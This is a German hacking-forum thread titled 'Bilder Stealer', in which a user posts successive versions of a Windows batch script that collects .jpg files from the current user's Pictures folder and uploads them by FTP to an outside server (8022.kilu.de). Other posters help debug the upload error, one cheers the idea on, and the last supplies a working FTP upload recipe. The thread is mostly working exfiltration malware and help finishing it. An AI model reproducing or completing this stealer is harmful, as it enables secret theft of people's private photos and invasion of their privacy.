-
Bilder Stealer
Hey hab vorher durch einen post die idee bekommen das man nen "Bilder stealer" proggen könnte , nun habe ich das mal EXTREM EINFACH realisiert , nix großes muss noch wachsen (verschiedene Ordner durchsuchen etc) doch ich wollte erstmal testen wie man das am besten reallisieren kann , hab das gnaze also mal mit batch angefangen weil ich batch relativ beherrsche und ich in alle anderen programmiersprachen noch nicht genug Know How dafür habe...
Hab jetztd as suchen reallisiert doch ich bekomms net hin mich mit dem ftp zu connecten...
Code:
@echo off
cd "C:\Users\%username%\Pictures"
IF NOT EXIST *.jpg (
md Fehler
) ELSE (
dir /b /s *.jpg >> "C:\Users\%username%\Pictures\Bilderliste.txt"
)
echo open 8022.kilu.de >> C:\dump.bat
echo BENUTZERNAME >> C:\dump.bat
echo PASSWORT >> C:\dump.bat
echo type binary >> C:\dump.bat
for %%i in (*.jpg) do echo send "%%i" >> C:\dump.bat
ftp -s:C:\dump.bat
pause
Das programm führ alles aus , findet bei mir im ordner "eigene bilder / pictures auch tatsächlich die bilder (3stk) die ich reinkopiert habe , erstellt eine liste mit den Pfaden und Namen der Bilder, und versucht dann sich per ftp zu verbinden , DOCH er nimmt passwort und Username nicht an , wie kann ichd as realisieren???
mfg euer wissensbegierige Chiqsaw ;D
-
Sag mal, wie kann man sich eigentlich trauen in einem Forum wie diesem sowas zu schreiben:
Code:
echo BENUTZERNAME >> C:\dump.bat
echo PASSWORT >> C:\dump.bat
?
Ist mir echt unbegreiflich.
-
Ich frage mich gerade warum das falsch ist?
das sind NICHT meien einlogdaten sondern eben nur "ersetzbare" namen :D
Edit: Source sieht jetzt soa us : problem die dateien kann es nicht hochladen weil sie NICHT GEFUNDEN??? werden oO vorhanden sind sie aber:
Code:
@echo off
cd "C:\Users\%username%\Pictures"
IF NOT EXIST *.jpg (
md Fehler
) ELSE (
dir /b /s *.jpg >> "C:\Users\%username%\Pictures\Bilderliste.txt"
)
set tempftp=%temp%\fileserver.ftp
echo OPEN 8022.kilu.de > %tempftp%
echo USER BENUTZERNAME PASSWORT >> %tempftp%
echo send %1 >> %tempftp%
REM echo disconnect >> %tempftp%
REM echo quit >> %tempftp%
REM echo type binary >> C:\dump.bat
for %%i in (*.jpg) do echo send "C:\Users\%username%\Pictures\%%i" >> %tempftp%
ftp.exe -n -i -s:%tempftp%
pause
exit
-
bei mir funtz das auch nicht ...
ich glaube wegen %username%
-
%username% funktioniert einwandfrei :D
setz dich mal mit der syntax von batch auseinander, liegt glaube ich an der firewall eisntellung , nacher kommt dann nämlich
"200 Port command successfull"
und danach dann das ein timeout bei port schlagmich tot vokommt und der fehler 425.... -.-'
-
Dies tritt nur auf, wenn der FTP-Site gruppiert ist. Aufgrund der Natur von einer Cluster-Umgebung, muss der Cluster Service wissen, welche Ressourcen verfügbar sind. Die IIS-Cluster-Ressource tut dies durch die Is-Alive and Keep-Alive-Funktionalität Clusiis4.dll, ihre Ressource Dynamic Link libraray (DLL). Da RFC 959 definiert als Fehler 426 "Connection closed; Übertragung abgebrochen" und der Ist-Alive oder Keep-Alive-Betrieb ist kein echter FTP-Sitzung, die Fehler protokolliert.
Das sagt halt google ... ich werde aber nicht schlau draus ?!
-
Mhm versteh ich auch nicht, kann mir das jemand erklären oder weis jemand ne lösung???
dies kommt btw auch bei einer übertragung einer txt datei...
-
Also die Sache an sich finde ich obercool.
Bitte halt das doch mal am Laufen.
LG
-
Aktueller Code:
Code:
@echo off
cd "C:\Users\%username%\Pictures"
IF NOT EXIST *.jpg (
md Fehler
) ELSE (
dir /b /s *.jpg >> "C:\Users\%username%\Pictures\BilderListe.txt"
)
set tempftp=%temp%\fileserver.ftp
echo OPEN 8022.kilu.de > %tempftp%
echo USER MEINBENUTZERNAME MEINPW >> %tempftp%
echo BIN>> %tempftp%
for %%i in (*.jpg) do echo send "C:\Users\%username%\Pictures\%%i" >> %tempftp%
ftp.exe -n -i -s:%tempftp%
echo DONE
Aktuelle fehlermeldung:
Code:
425 Could not open data connection to Port 50032: Connection Timed out
-
Code:
open ftp://***.**.funpic.de
username
passwort
bye
*** und ** ersetzen
username durch deinen ftp-Username ersetzen (nicht dahinterschreiben) (normalerweise das was *** ist)
passwort durch dein ftp-Passwort ersetzen
Code:
ftp -s:neu.ftp
pause
pauseneu.bat und neu.ftp müssen im selben verzeichnis liegen, andernfalls Pfadangaben machen.
Funktioniert perfekt, eben auf funpic getestet.